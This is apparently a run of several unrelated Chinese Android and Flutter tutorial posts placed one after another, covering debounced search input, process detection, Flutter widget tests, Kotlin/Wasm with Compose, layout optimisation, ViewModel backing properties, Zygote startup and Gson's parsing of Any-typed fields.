比如其实你想搜索一个“android”，但随着你在输入框中动态编辑，最多可能会向服务器发送7次请求，很明显前面6次请求都是属于无用请求（暂时不考虑模糊匹配的场景）。

这个时候我们就可以借助于callbackFlow{}将输入框的动态输入转换成流，再借助debounce()对流进行降频即可。关于对debounce()的讲解，可以参考之前的文章：debounce()限流

fun test4(editText: EditText) {

    lifecycleScope.launchWhenResumed {

        callbackFlow {

            val watcher = editText.doAfterTextChanged {

                trySend(it?.toString() ?: "")

            }

            

            invokeOnClose {

                editText.removeTextChangedListener(watcher)

            }

        }.debounce(200).collect {

            //对于输入框中的内容向服务器发起实时搜索请求

            

        }

    }

}

判断当前是否为主进程

常见的业务场景中，可能我们会把Service单独放一个进程处理，比如为了单独存放WebView再或者专门开一个服务进程与服务器进行通信，这样当UI进程死掉，也能缓存最新的数据到内容和本地 。

但有时，Service单独放一个进程处理，也会走Application的初始化逻辑，比如初始化第三方SDK、获取某些资源等等，但这些可能是只有UI进程才需要，所以Service进程初始化应该跳过这些逻辑。

所以我们需要判断当前的线程是否属于UI线程，可以利用UI进程的包名和进程名相同的特性实现，代码如下：

fun isMainProcess(): Boolean =

    getSystemService<ActivityManager>()?.let {

        it.runningAppProcesses.find { info ->

            info.pid == Process.myPid()

        }?.let { res ->

            res.processName == packageName

        }

    } ?: true

当我写完上面的代码之后，发现Application竟然直接提供了一个获取当前进程名称的方法：

不过这个只有SDK28以上才能使用，可以判断一下，SDK28以下用上面的代码判断，SDK28及以上用下面的代码判断：

fun isMainProcess2(): Boolean = packageName == getProcessName()

必要性

作为一个开发，对自己开发的功能进行单元测试是非常有必要的。单元测试是软件开发中一种必要的测试方法。它旨在测试一个单独的模块或组件的功能。单元测试通常是自动化的，并且可以在开发过程中进行频繁的测试。在本文中，我们将探讨单元测试的必要性以及为什么它是软件开发中不可或缺的一部分。

1. 验证代码的正确性

在编写代码时，开发人员往往会犯错误。这些错误可能是语法错误，逻辑错误或其他类型的错误。单元测试可以帮助开发人员及时发现这些错误。通过编写单元测试，开发人员可以验证代码是否按照预期执行，并且可以及早发现和解决错误。

2. 提高代码质量

单元测试可以帮助开发人员编写更高质量的代码。编写单元测试需要开发人员仔细考虑每个功能点，并确保代码的每个方面都被测试到。通过这个过程，开发人员可以发现并解决潜在的问题，并确保代码的质量得到提高。

3. 支持重构和改进

在软件开发的生命周期中，代码经常需要进行重构和改进。单元测试可以帮助开发人员在进行这些更改时保证代码的正确性。如果重构或改进代码后，单元测试仍然能够通过，那么开发人员就可以确信代码的行为没有发生变化。这种自信可以让开发人员更加轻松地进行代码更改，并减少由于更改而引入错误的风险。

4. 提高代码的可维护性

单元测试可以提高代码的可维护性。通过编写单元测试，开发人员可以快速定位代码中的问题并进行修复。这可以使代码更容易维护，并减少开发人员需要花费的时间和精力。在团队合作的情况下，单元测试还可以帮助新成员更快地理解代码，并快速定位和解决问题。

总之，单元测试是软件开发中必不可少的一部分。它可以帮助开发人员验证代码的正确性，提高代码质量，支持重构和改进，并提高代码的可维护性。通过编写单元测试，开发人员可以确保代码的正确性和稳定性，并减少由于更改而引入错误的风险。

单元测试

1. 安装测试框架

Flutter提供了自己的测试框架，称为flutter_test。在项目中使用flutter_test，需要在pubspec.yaml文件中添加依赖项：

dev_dependencies:

  flutter_test:

    sdk: flutter

然后，运行以下命令安装依赖项：

flutter packages get

当然在新创建的Flutter工程里，都会默认引用flutter_test并且创建好了test文件夹

2. 编写测试用例

测试用例是用来测试应用程序的各个部分的代码。在Flutter中，测试用例通常包含在一个单独的文件中。在这个文件中，你需要导入flutter_test库，并编写测试代码。以下是一个示例：

void main() {

  String time = testDate();

  print('time=' + time);

}

///检查到期时间

String testDate() {

  String expiryDate = '-长期';

  List<String> list = (expiryDate).split('-');

  if (list.length == 2) {

    var start = list[0];

    var end = list[1];

    if (start.isEmpty || end.isEmpty) {

      return '';

    }

    if (start.length == 8) {

      start = DateTime.parse(start).format('yyyy.MM.dd');

    }

    if (end.length == 8) {

      end = DateTime.parse(end).format('yyyy.MM.dd');

    }

    return '$start-$end';

  }

  return (expiryDate);

}

在单元测试中，我们可以给对应文件创建对应的测试文件。当我们把数据计算解耦出来，就可以达到不需要UI的情况测试返回结果的情况。配合Mock数据能极大的提高效率。

3. 进行微件测试
   flutter_test还可以进行微件测试。
   比如我写了一个Widget，这个Widget需要一个json来构建，而json中的一个字段会影响我Widget的创建.我们需要检查这个Widget是否兼容这个json的所有情况.

void questionTitleWidgetTest() {

  testWidgets('questionTitle', (widgetTester) async {

    String path = '/Users/kfzs_002/Desktop/122.json';

    File file = File(path);

    String str = file.readAsStringSync();

    Map<String, dynamic> json = jsonDecode(str);

    Temp temp = Temp.fromJson(json);

    for (int i = 0; i < (temp.data?.list?.length ?? 0); i++) {

      var data = temp.data!.list![i];

      if ((data.questionTitleArr ?? []).isEmpty) {

        print('没有标题');

        continue;

      }

      await widgetTester.pumpWidget(

        MaterialApp(

          home: Material(

            child: QuestionTitleWidget(data: data.questionTitleArr ?? []),

          ),

        ),

      );

      print('index=$i');

      await widgetTester.pump();

    }

  });

}

执行测试方法，我们就能在run窗口看到对应的数据结果。

有时我们会写一个动画组件，它有复杂的动画我想检查动画相关参数是否正确。

void examCircleProgressTest() {

  testWidgets('examCircleProgressTest', (widgetTester) async {

    await widgetTester.pumpWidget(ScreenUtilInit(

      designSize: const Size(375, 812),

      minTextAdapt: true,

      useInheritedMediaQuery: true,

      builder: (context, child) => GetMaterialApp(

        home: Material(

          child: Row(

            children: [

              ExamCircleProgress(

                mTitle: 'title',

                subjectType: 2,

                progress: 30,

                subTitle: 'subtitle',

                score: '30',

              )

            ],

          ),

        ),

      ),

    ));

    // await widgetTester.pump();

    for (var i = 0; i < 2000; i += 33) {

      await widgetTester.pump(Duration(milliseconds: i));

    }

  });

}

这里我用到了widgetTester.pump.在Widget测试中，widgetTester.pump()方法是一个非常重要的方法，它的作用是将应用程序的状态推进到下一个时间片段。我以33毫秒为间隔，把这个Widget推进到了2秒后的状态。这样就能看到对应的数据情况了。

前言

前几天，Compose for iOS 发布了Alpha版本，不过早在两个多月前的试验阶段时，我们已经在Compose跨平台第三弹：体验Compose for iOS 为大家分享了Compose开发iOS的体验。

我们也在Compose跨平台第二弹：体验Compose for Web 中了解了如何使用Compose开发Web程序，当时也一起见证了Compose for Web 割裂严重的问题。这个问题官方也一直在推进解决，这要得益于Kotlin/Wasm。那么Kotlin/Wasm又是什么呢?

了解Kotlin/Wasm

是什么

Kotlin/Wasm是将Kotlin编译为WebAssembly (Wasm)的工具链。那WebAssembly又是什么呢？

WebAssembly是一种低级字节码格式，可以在Web浏览器中运行，并且具有比JavaScript更快的执行速度和更好的跨平台兼容性。

可以做什么

使用Kotlin/Wasm，我们可以使用Kotlin编写Web应用程序，然后将其编译为Wasm字节码，以在Web浏览器中运行。这样我们就可以在单个代码库中使用相同的语言和工具来开发应用程序，而不必学习JavaScript等其他语言。此外，由于Wasm字节码是一种跨平台格式，因此应用程序可以在各种操作系统和设备上运行，而不必重新编写代码。

简单的说

总之，Kotlin/Wasm是一种新兴的技术，可以让开发人员使用Kotlin编写Web应用程序，并在Web浏览器中运行。这可以使开发更加简单和高效，并提供更好的跨平台兼容性和更快的执行速度。

Kotlin/Wasm 是从 Kotlin 1.8.20版本开始支持的，当前处于实验阶段。

体验Kotlin/Wasm

启用WASM

我们使用最新版本的IntelliJ IDEA，先随便打开一个项目，双击Shift，再弹出的搜索中输入Registry

选中并回车，在弹出的窗口中找到Kotlin.wasm.wizard，勾选此选项。

然后IDEA会提示我们重启，重启后，就启用了wasm。之后，我们就可以通过IDEA创建Kotlin/Wasm项目。

创建Kotlin/Wasm项目

打开IDEA，创建Kotin Multiplatform项目，选择Browser Application with Kotlin/Wasm，如下图所示。

默认情况下，项目将使用带有 Kotlin DSL 的 Gradle 作为构建系统。创建好项目后，在wasmMain目录下为我们创建了Simple.kt文件，如下图所示。

此外，由于Kotlin/Wasm是从1.8.20版本新增的，所以我们要确保配置文件中的版本号是正确的。

plugins {

    kotlin("multiplatform") version "1.8.20"

}

运行程序

点击运行程序，运行后在浏览器输入框中输入http://localhost:8080/ ，如下图所示。

这里我使用的是Chrome浏览器，需要在Chrome中输入chrome://flags/#enable-webassembly-garbage-collection，然后启用WebAssembly Garbage Collection，这一点需要注意下。

Hello World程序运行之后，我们可以修改自己想要的展示的文字，比如修改代码如下所示：

fun main() {

    document.body?.appendText("Hello, first Kotlin/Wasm Project!")

}

运行程序，如下图所示。

Kotlin/Wasm 可以使用来自 Kotlin 的 JavaScript 代码和来自 JavaScript 的 Kotlin 代码。也就是Kotlin和JavaScript是可以互相操作的。这并不是我们的重点这里就不演示了。

体验Wasm版本的Compose for Web

在Compose跨平台第二弹：体验Compose for Web中，我们使用的是“compose-html”，Kotlin/Wasm在Web浏览器中可以实现更高性能和低延迟的计算机程序。

当前依赖于Kotlin/Wasm的“compose-wasm-canvas”已经在实验阶段，而“compose-wasm-canvas”基本可以解决我们之前所体验到的割裂问题。我们来一起体验一下。

项目配置

由于“compose-wasm-canvas”还处于实验结算所以我们在确保版本号、配置可用，修改配置文件代码如下所示：

kotlin.version=1.8.20

org.jetbrains.compose.experimental.jscanvas.enabled=true

compose.version=1.4.0-dev-wasm06

代码编写

@OptIn(ExperimentalComposeUiApi::class)

fun main() {

    CanvasBasedWindow {

        LoginUi()

    }

}

外层使用CanvasBasedWindow包裹，test就是我们自己写的Compose代码，这里我们两个输入框和一个登陆按钮，代码如下所示：

@Composable

fun LoginUI() {



    var username by remember { mutableStateOf("") }

    var password by remember { mutableStateOf("") }



    Column(

        modifier = Modifier

            .fillMaxWidth()

            .padding(16.dp)

    ) {

        OutlinedTextField(

            value = username,

            onValueChange = { username = it },

            label = { Text("userName") },

            placeholder = { Text("input userName") },

            modifier = Modifier.fillMaxWidth()

        )



        OutlinedTextField(

            value = password,

            onValueChange = { password = it },

            label = { Text("password") },

            placeholder = { Text("input password") },

            visualTransformation = PasswordVisualTransformation(),

            modifier = Modifier

                .fillMaxWidth()

                .padding(top = 8.dp)

        )



        Button(onClick = {

           //login

        }) {

            Text("Login")

        }

    }

}

这就是和Android中Compose完全一样的代码，运行程序，结果如下图所示。

总结

“compose-wasm-canvas”与“compose-html”完全不同，并且解决了我们之前所提到的在Compose for Web中严重的割裂问题，不过，不管是“compose-wasm-canvas”还是Kotlin/Wasm都还处于早期的实验性阶段，什么时候发布Aplha甚至是Beta版本，是个未知数，让我们一起期待吧~

问题：

布局层级太多怎么优化？

回答：

View整体布局是通过深度优先的方式来进行组织的，整体形似一颗树，所以优化布局层级主要通过三个方向来实施：

• 降低布局深度：使用merge标签或者布局层级优化等手段来减少View树的深度；


• 布局懒加载：使用ViewStub，AsyncLayoutInflater等布局加载手段，来确保只有当需要该布局时，该布局才会被创建，优化布局加载速度；


• 布局重用：通过include等标签重用界面布局，减少GPU重复工作

解析：

<merge/>

<merge/>标签通常用于将其包裹的内容直接添加到父布局以达到降低布局深度的目的，一个普通的layout布局文件及其结构如下图所示：

当将该布局文件的根标签修改为<merge/>标签后，得到的布局结构如下图所示：

可以看出<merge/>标签内子元素的父布局均变更为顶上的FrameLayout，进而使得布局深度减1.

结合以上例子，我们可以得出 <merge/>标签的主要工作原理是将本应在<merge/>标签节点的Layout与该节点的父布局进行重用，以达到优化布局深度的目的，对<merge/>标签内包含的其他布局结构而言并不能起到优化深度的作用。

使用<merge/>标签有以下注意事项：

• 布局文件中<merge/>标签只能作为根标签；


• 使用LayoutInflater加载<merge/>标签为根的布局文件时，必须设置attachToRoot为true，以确保重用父布局；


• <merge/>标签携带的参数没有实际意义


• <merge/>标签并不是真实存在的View或者ViewGroup，其相当于一种标记，用来表示其所包裹的内容应被添加到其上级布局，真实存在的ViewGroup是引用<merge/>标签布局的上一级布局

<ViewStub/>

<ViewStub/>标签通常用于声明布局中可以被延时加载的部分，在首次布局文件加载时处于占位状态，当调用inflate或者setVisible时才会完成加载动作，一个普通的使用<ViewStub/>布局文件及其结构如下图所示：

当执行ViewStub.inflate之后，得到的布局结构如下图所示：

可以看出ViewStub区域被其对应的布局结构替换掉了。

结合上述例子，我们可以得出使用<ViewStub/>标签可以管理在页面首次初始化时不需要加载的布局，提升渲染速度，等到需要这部分UI时再进行加载。

<include/>

<include/>标签可以将一些公共布局文件在多处重复引用，以便提升布局效率，例如各个页面都有的状态栏，当使用自定义布局实现后，则可以使用<include/>标签进行重复引用。

<include/>标签使用示例代码如下：

 <?xml version="1.0" encoding="utf-8"?>

 <merge xmlns:android="http://schemas.android.com/apk/res/android"

     android:layout_width="match_parent"

     android:layout_height="match_parent">

 

     <LinearLayout

         android:layout_width="wrap_content"

         android:layout_height="wrap_content">

 

         <include

             android:id="@+id/view_stub"

             layout="@layout/test"/>

 

         <com.poseidon.looperobserver.customview.CustomView

             android:layout_width="wrap_content"

             android:layout_height="wrap_content"

             android:layout_gravity="center"

             android:id="@+id/custom_view"

             android:text="move me!" />

 

     </LinearLayout>

 

 </merge>

使用<include/>标签得到的布局结构如下图所示：

可以看出从布局结构来讲并无明显差异，在初次加载就会直接构建在View树上。

前言

将应用的界面数据与界面（Activity/Fragment）分离可以让您更好地遵循我们前面讨论的单一责任原则。activity 和 fragment 负责将视图和数据绘制到屏幕上，而 ViewModel 则负责存储并处理界面所需的所有数据。

数据变量从 XXFragment 移至 XXViewModel 类

1. 将数据变量 score、currentWordCount、currentScrambledWord 移至 XXViewModel 类。

class XXViewModel : ViewModel() {



    private var score = 0

    private var currentWordCount = 0

    private var currentScrambledWord = "test"

...

请注意这些属性仅对 ViewModel 可见，界面无法对其进行访问

想要解决此问题，就不能将这些属性的可见性修饰符设为 public，不应该让数据可被其他类修改。因为外部类可能会以不符合视图模型中指定的游戏规则的预料外方式对数据做出更改。外部类有可能会将 score 更改为其他错误的值。

在 ViewModel 之内，数据应可修改，数据应设为 private 和 var。而在 ViewModel 之外，数据应可读取但无法修改，因此数据应作为 public 和 val 公开。为了实现此行为，Kotlin 提供了称为后备属性的功能。

后备属性

使用后备属性，可以从 getter 返回确切对象之外的某些其他内容。

Kotlin 框架会为每个属性生成 getter 和 setter。

对于 getter 和 setter 方法，可以替换其中一个方法或同时替换两个方法，并提供自定义行为。为了实现后备属性，需要替换 getter 方法以返回只读版本的数据。后备属性示例：

private var _count = 0



val count: Int

   get() = _count

举例而言，在应用中，需要应用数据仅对 ViewModel 可见：

在 ViewModel 类之内：

• _count 属性设为 private 且可变。因此，只能在 ViewModel 类中对其访问和修改。惯例是为 private 属性添加下划线前缀。

在 ViewModel 类之外：

• Kotlin 中的默认可见性修饰符为 public，因此 count 是公共属性，可从界面控制器等其他类对其进行访问。由于只有 get() 方法会被替换，所以此属性不可变且为只读状态。当外部类访问此属性时，它会返回 _count 的值且其值无法修改。这可以防止外部类擅自对 ViewModel 内的应用数据进行不安全的更改，但允许外部调用方安全地访问该应用数据的值。

将后备属性添加到 currentScrambledWord

• 在 XXViewModel 中，更改 currentScrambledWord 声明以添加一个后备属性。现在，只能在 XXViewModel 中对 _currentScrambledWord 进行访问和修改。界面控制器 XXFragment 可以使用只读属性 currentScrambledWord 读取其值。

private var _currentScrambledWord = "test"

val currentScrambledWord: String

   get() = _currentScrambledWord

• 在 XXFragment 中，更新 updateNextWordOnScreen() 方法以使用只读的 viewModel 属性 currentScrambledWord。

private fun updateNextWordOnScreen() {

   binding.textViewUnscrambledWord.text = viewModel.currentScrambledWord

}

• 在 XXFragment 中，删除 onSubmitWord() 和 onSkipWord() 方法内的代码。稍后您将实现这些方法。现在，您应该能够不出错误地编译代码了。

注意：勿公开 ViewModel 中的可变数据字段，确保无法从其他类修改此数据。ViewModel 内的可变数据应始终设为 private

Zygote的父进程是init进程，他孵化了SystemServer进程，以及我们的应用进程。

一、Zygote作用

功能主要是

：启动安卓虚拟机DVM

：启动SystemServer（Android系统进程）

：孵化应用进程

：加载 常用类 JNI函数 主题资源 共享库 等 

Zygote进程和系统其他进程的关系如图所示：

二、Zygote进程启动和应用进程启动

如图所示：

1.Zygote进程启动流程

Zygote是由init进程启动的，init进程是Linux系统启动后用户空间的第一个进程， 首先会去加载init.rc配置文件，然后启动其中定义的系统服务（Zygote，ServiceManager等）， Init进程创建Zygote时，会调用app_main.cpp的main() 方法, 启动Zygote后，启动安卓虚拟机，接着在native层中通过jni调用java层的ZygoteInit的main()。

<!--app_main.cpp

int main(int argc, char* const argv[])

{

    //  创建Android运行时对象

    AppRuntime runtime(argv[0], computeArgBlockSize(argc, argv));

    // 代码省略...

    

    // 调用AppRuntime.start方法，

    // 而AppRuntime是AndroidRuntime的子类，并且没有重写start方法

    // 因此调用的是AndroidRuntime的start方法

    runtime.start("com.android.internal.os.ZygoteInit", args, zygote);

}

-->

这里一共就做了两件事，第一件创建AppRuntime，第二件调用start方法，详细看一下start方法：

<!--

/*

 * AndroidRuntime.cpp

 * Start the Android runtime. 

 */

void AndroidRuntime::start(const char* className, const Vector<String8>& options, bool zygote)

{

    /* start the virtual machine */

    JNIEnv* env;

    if (startVm(&mJavaVM, &env, zygote, primary_zygote) != 0) {

        return;

    }



    /*

     * Register android functions.

     */

    if (startReg(env) < 0) {

        ALOGE("Unable to register all android natives\n");

        return;

    }

    /*

     * Start VM.  This thread becomes the main thread of the VM, and will

     * not return until the VM exits.

     */

    jmethodID startMeth = env->GetStaticMethodID(startClass, "main","([Ljava/lang/String;)V");

    env->CallStaticVoidMethod(startClass, startMeth, strArray);

}

-->

startVM -- 启动Java虚拟机 

startReg -- 注册JNI 通过JNI调用Java方法，执行com.android.internal.os.ZygoteInit 的 main 方法。

ZygoteInit .main主要干了4个事情，如下：

<!--

 /*frameworks/base/core/java/com/android/internal/os/ZygoteInit.java*/

 public static void main(String[] argv) {

        ZygoteServer zygoteServer = null;

        ...

        try {

            ...

            // 1.preload提前加载框架通用类和系统资源到进程，加速进程启动

            preload(bootTimingsTraceLog);

            ...

            // 2.创建zygote进程的socket server服务端对象

            zygoteServer = new ZygoteServer(isPrimaryZygote);

            ...

	    // 3.启动SystemServer（Android系统进程）

	    forkSystemServer

	    ...

            // 4.进入死循环，等待AMS发请求过来

            caller = zygoteServer.runSelectLoop(abiList);

        } catch (Throwable ex) {

            ...

        } finally {

            ...

        }

        ...

	caller.run();//执行MethodAndArgsCaller包装后的runnable

    }

-->

1.创建了ZygoteServer：这是一个Socket相关的服务，目的是进行跨进程通信。 

2.预加载preload：预加载相关的资源。 

3.创建SystemServer进程： 通过forkSystemServer分裂出了两个进程，一个Zygote进程，一个SystemServer进程。而且由于是分裂的， 所以新分裂出来的进程也拥有虚拟机，也能调用JNI，也拥有预加载的资源，也会执行后续的代码。 

4.执行runSelectLoop()：内部是一个while(true)循环，等待AMS创建新的进程的請求消息。（想想Looper.loop()） 

2.Zygote启动应用进程流程

zygote进程通过Socket监听接收AMS的请求，fork创建子应用进程，然后pid为0时进入子进程空间，然后在ZygoteInit#zygoteInit中完成进程的初始化动作。

先看一下ZygoteServer.runSelectLoop

<!--

 /*frameworks/base/core/java/com/android/internal/os/ZygoteServer.java*/

 Runnable runSelectLoop(String abiList) {

     // 进入死循环监听

     while (true) {

        while (--pollIndex >= 0) {

           if (pollIndex == 0) {

             ...

           } else if (pollIndex < usapPoolEventFDIndex) {

             // Session socket accepted from the Zygote server socket

             // 得到一个请求连接封装对象ZygoteConnection

             ZygoteConnection connection = peers.get(pollIndex);

             // processCommand函数中处理AMS客户端请求

             final Runnable command = connection.processCommand(this, multipleForksOK);

             ...

           }

        }

     }

 }

 -->

再通過ZygoteConnection中处理AMS创建新应用进程的请求。

 <!--

 //ZygoteConnection.java

 Runnable processCommand(ZygoteServer zygoteServer, boolean multipleOK) {

         ...

         // 1.fork创建应用子进程

         pid = Zygote.forkAndSpecialize(...);

         try {

             if (pid == 0) {

                 ...

                 // 2.pid为0，当前处于新创建的子应用进程中，处理请求参数

                 return handleChildProc(parsedArgs, childPipeFd, parsedArgs.mStartChildZygote);

             } else {

                 ...

                 handleParentProc(pid, serverPipeFd);

             }

          } finally {

             ...

          }

 }

 

  private Runnable handleChildProc(ZygoteArguments parsedArgs,

            FileDescriptor pipeFd, boolean isZygote) {

        ...

        // 关闭从父进程zygote继承过来的ZygoteServer服务端地址

        closeSocket();

        ...

        if (parsedArgs.mInvokeWith != null) {

           ...

        } else {

            if (!isZygote) {

                // 继续进入ZygoteInit#zygoteInit继续完成子应用进程的相关初始化工作

                return ZygoteInit.zygoteInit(parsedArgs.mTargetSdkVersion,

                        parsedArgs.mDisabledCompatChanges,

                        parsedArgs.mRemainingArgs, null /* classLoader */);

            } else {

                ...

            }

        }

    }

-->

通过调用 Zygote.forkAndSpecialize()函数来创建子进程，会有一个返回值pid，分别在子进程和父进程各返回一次， 子进程返回 0 ，父进程返回1，通过判断pid为0还是1来判断当前是是父进程还是子进程；默认子进程继承父进程是继承了父进程的一切资源 分叉后的进程会将socket停掉并重新初始化一些数据,但preload的资源和类保和VM留了下来,应用进程继承了Zygote进程所创建的虚拟机， 应用进程的在使用的时候就不需要再去创建，自此新的进程和zygote进程分道扬镳。  

注意：其中包括应用进程的主线程也是在这里从zygote进程继承而来的，应用进程的主线程并不是自己主动创建的新线程。

Zygote启动应用进程的时候不管父进程中有多少个线程，子进程在创建的时候都只有一个线程，对于子进程来说，多出现的线程在子进程中都不复存在， 因为如果其他线程也被复制到子进程，这时在子进程中就会存在一些问题，有时程序在执行的过程中可能会形成死锁，状态不一致等，所以比较安全的做法是在创建子进程的时候，只保留父进程的 主线程，其他都在暂停（此时线程资源是释放的所以不会继承到子进程），子进程启动完后再重启这些线程。

ZygoteInit.zygoteInit 方法完成应用进程初始化：

<!--

/*frameworks/base/core/java/com/android/internal/os/ZygoteInit.java*/

public static Runnable zygoteInit(int targetSdkVersion, long[] disabledCompatChanges,

            String[] argv, ClassLoader classLoader) {

        ...

        // 原生添加名为“ZygoteInit ”的systrace tag以标识进程初始化流程

        Trace.traceBegin(Trace.TRACE_TAG_ACTIVITY_MANAGER, "ZygoteInit");

        RuntimeInit.redirectLogStreams();

        // 1.RuntimeInit#commonInit中设置应用进程默认的java异常处理机制

        RuntimeInit.commonInit();

        // 2.ZygoteInit#nativeZygoteInit函数中JNI调用启动进程的binder线程池

        ZygoteInit.nativeZygoteInit();

        // 3.RuntimeInit#applicationInit中反射创建ActivityThread对象并调用其“main”入口方法

        return RuntimeInit.applicationInit(targetSdkVersion, disabledCompatChanges, argv,

                classLoader);

 }

-->

1.设置应用进程默认的java异常处理机制（可以实现监听、拦截应用进程所有的Java crash的逻辑）；

2.JNI调用启动进程的binder线程池（注意应用进程的binder线程池资源是自己创建的并非从zygote父进程继承的）；

3.通过反射创建ActivityThread对象并调用其“main”入口方法。

最后再看看RuntimeInit.applicationInit做了啥：

<!--

 /*frameworks/base/core/java/com/android/internal/os/RuntimeInit.java*/

 protected static Runnable applicationInit(int targetSdkVersion, long[] disabledCompatChanges,

            String[] argv, ClassLoader classLoader) {

        ...

        // 结束“ZygoteInit ”的systrace tag

        Trace.traceEnd(Trace.TRACE_TAG_ACTIVITY_MANAGER);

        // Remaining arguments are passed to the start class's static main

        return findStaticMain(args.startClass, args.startArgs, classLoader);

  }

  

  protected static Runnable findStaticMain(String className, String[] argv,

            ClassLoader classLoader) {

        Class<?> cl;

        try {

            // 1.反射加载创建ActivityThread类对象

            cl = Class.forName(className, true, classLoader);

        } catch (ClassNotFoundException ex) {

            ...

        }

        Method m;

        try {

            // 2.反射调用其main方法

            m = cl.getMethod("main", new Class[] { String[].class });

        } catch (NoSuchMethodException ex) {

            ...

        } catch (SecurityException ex) {

            ...

        }

        ...

        // 3.触发执行以上逻辑

        return new MethodAndArgsCaller(m, argv);

    }

-->

主要就是调用ActivityThread.main方法，从此进入ActivityThread中。

三、参考资料

【Zygote进程的启动 --学习笔记】 blog.csdn.net/qq\_4223721…

【说说你对zygote的理解？】http://www.cnblogs.com/rxh1050/p/1…

【Zygote Fork机制与资源预加载】http://www.jianshu.com/p/be384613c…

从一个例子出发

开发的过程中，总会遇到各种各样有趣的问题，Gson是android序列化中比较老牌的框架了，本片是通过一个小例子出发，让我们更加理解gson序列化过程中的细节与隐藏的“小坑”，避免走入理解误区！

我们先举个例子吧，以下是一个json字符串

{

   "new_latent_count": 8,

   "data": {

      "length": 25,

      "text": "Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur."

   }

}

复制代码

通过插件，我们很容易生成以下类

data class TestData(

    val `data`: Data,

    val new_latent_count: Int

)



data class Data(

    val length: Int,

    val text: String

)

复制代码

这个时候有意思的是，假如我们把上述中的数据类TestData变成以下这个样子

data class TestData(

    // 这里发生了改变，把Data类型变成Any类型

    val `data`: Any,

    val new_latent_count: Int

)

复制代码

此时，我们再用Gson去把上文的json数据去进行解析生成一个数据类TestData，此时请问

val fromJson = Gson().fromJson(

    "{\n" +

            "   "new_latent_count": 8,\n" +

            "   "data": {\n" +

            "      "length": 25,\n" +

            "      "text": "Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur."\n" +

            "   }\n" +

            "}", TestData::class.java

)



提问时间到！ 这里是为true还是false呢！！fromJson这个对象真正的实现类还是Any or Any的子类

Log.e("hello","${fromJson.data is Data}")

复制代码

如果你的回答是fasle，那么恭喜你，你已经足够掌握Gson的流程了！如果你回答是true，那么就要小心了！因为Gson里面的细节，很容易让你产生迷糊！（答案是false） 可能有小伙伴会问了，我只是把TestData 里面的data从Data类型变成了Any而已，本质上应该还是Data才对呀！别急，我们进入gson的源码查看！

Gson源码

虽然gson源码解析网上已经有很多很多了，但是我们从带着问题出发，能够更加的理解深刻，我们从fromJson出发，最终fromJson会调用到以下类

public <T> T fromJson(JsonReader reader, TypeToken<T> typeOfT) throws JsonIOException, JsonSyntaxException {

  boolean isEmpty = true;

  boolean oldLenient = reader.isLenient();

  reader.setLenient(true);

  try {

    reader.peek();

    isEmpty = false;

    这里会获取一个TypeAdapter，然后通过TypeAdapter的read方法去解析数据

    TypeAdapter<T> typeAdapter = getAdapter(typeOfT);

    return typeAdapter.read(reader);

  } catch (EOFException e) {

    /*

     * For compatibility with JSON 1.5 and earlier, we return null for empty

     * documents instead of throwing.

     */

    if (isEmpty) {

      return null;

    }

    throw new JsonSyntaxException(e);

  } catch (IllegalStateException e) {

    throw new JsonSyntaxException(e);

  } catch (IOException e) {

    // TODO(inder): Figure out whether it is indeed right to rethrow this as JsonSyntaxException

    throw new JsonSyntaxException(e);

  } catch (AssertionError e) {

    throw new AssertionError("AssertionError (GSON " + GsonBuildConfig.VERSION + "): " + e.getMessage(), e);

  } finally {

    reader.setLenient(oldLenient);

  }

}

复制代码

接着，我们可以看看这个关键的getAdapter方法里面，做了什么！

public <T> TypeAdapter<T> getAdapter(TypeToken<T> type) {

  Objects.requireNonNull(type, "type must not be null");

  TypeAdapter<?> cached = typeTokenCache.get(type);

  尝试获取一遍有没有缓存，有的话直接返回已有的TypeAdapter对象

  if (cached != null) {

    @SuppressWarnings("unchecked")

    TypeAdapter<T> adapter = (TypeAdapter<T>) cached;

    return adapter;

  }

  // threadLocalAdapterResults是一个ThreadLocal对象，线程相关



  Map<TypeToken<?>, TypeAdapter<?>> threadCalls = threadLocalAdapterResults.get();

  boolean isInitialAdapterRequest = false;

  if (threadCalls == null) {

  // 没有就生成一个hashmap，保存到ThreadLocal里面

    threadCalls = new HashMap<>();

    threadLocalAdapterResults.set(threadCalls);

    isInitialAdapterRequest = true;

  } else {

    // the key and value type parameters always agree

    @SuppressWarnings("unchecked")

    TypeAdapter<T> ongoingCall = (TypeAdapter<T>) threadCalls.get(type);

    if (ongoingCall != null) {

      return ongoingCall;

    }

  }



  TypeAdapter<T> candidate = null;

  try {

    FutureTypeAdapter<T> call = new FutureTypeAdapter<>();

    threadCalls.put(type, call);

    // 通过遍历factories，查找能够解析的type的adapter

    for (TypeAdapterFactory factory : factories) {

      candidate = factory.create(this, type);

      if (candidate != null) {

        call.setDelegate(candidate);

        // Replace future adapter with actual adapter

        threadCalls.put(type, candidate);

        break;

      }

    }

  } finally {

    if (isInitialAdapterRequest) {

      threadLocalAdapterResults.remove();

    }

  }



  .....

}

复制代码

这里算是Gson中，查找adapter的核心流程了，这里我们能够得到几个消息，首先我们想要获取的TypeAdapter（定义了解析流程），其实是存在缓存的，而且是放在一个ThreadLocal里面，这也就意味着它其实是跟线程本地存储相关的！其次，我们也看到，这个缓存是跟当次的Gson对象是强关联的，这也就意味着，只有用同一个Gson对象，才能享受到缓存的好处！这也就是为什么我们常说尽可能的复用同一个Gson的原因。

仅接着，我们会看到这个循环 TypeAdapterFactory factory : factories 它其实是在找factories中，有没有哪个factory可能进行本次的解析，而factories，会在Gson对象初始化的时候，被填充各种各样的factory

接下来，我们外层拿到了TypeAdapter，就会调用这个read方法去解析数据

public abstract T read(JsonReader in) throws IOException;

复制代码

每个在factories的fatory子类所生成的TypeAdapter们，都会实现这个方法

而我们上文中的问题解答终于来了，问题就在这里，当我们数据类型中，有一个Any的属性的时候，它是怎么被解析的呢？它会被哪个TypeAdapter所解析，就是咱们问题的关键了！

答案是：ObjectTypeAdapter

我们再看它的read方法

@Override public Object read(JsonReader in) throws IOException {

  // Either List or Map

  Object current;

  JsonToken peeked = in.peek();

   重点在这里

  current = tryBeginNesting(in, peeked);

  if (current == null) {

    return readTerminal(in, peeked);

  }

复制代码

这里就会去解析数据

private Object tryBeginNesting(JsonReader in, JsonToken peeked) throws IOException {

  switch (peeked) {

    case BEGIN_ARRAY:

      in.beginArray();

      return new ArrayList<>();

    case BEGIN_OBJECT:

      in.beginObject();

      return new LinkedTreeMap<>();

    default:

      return null;

  }

}

复制代码

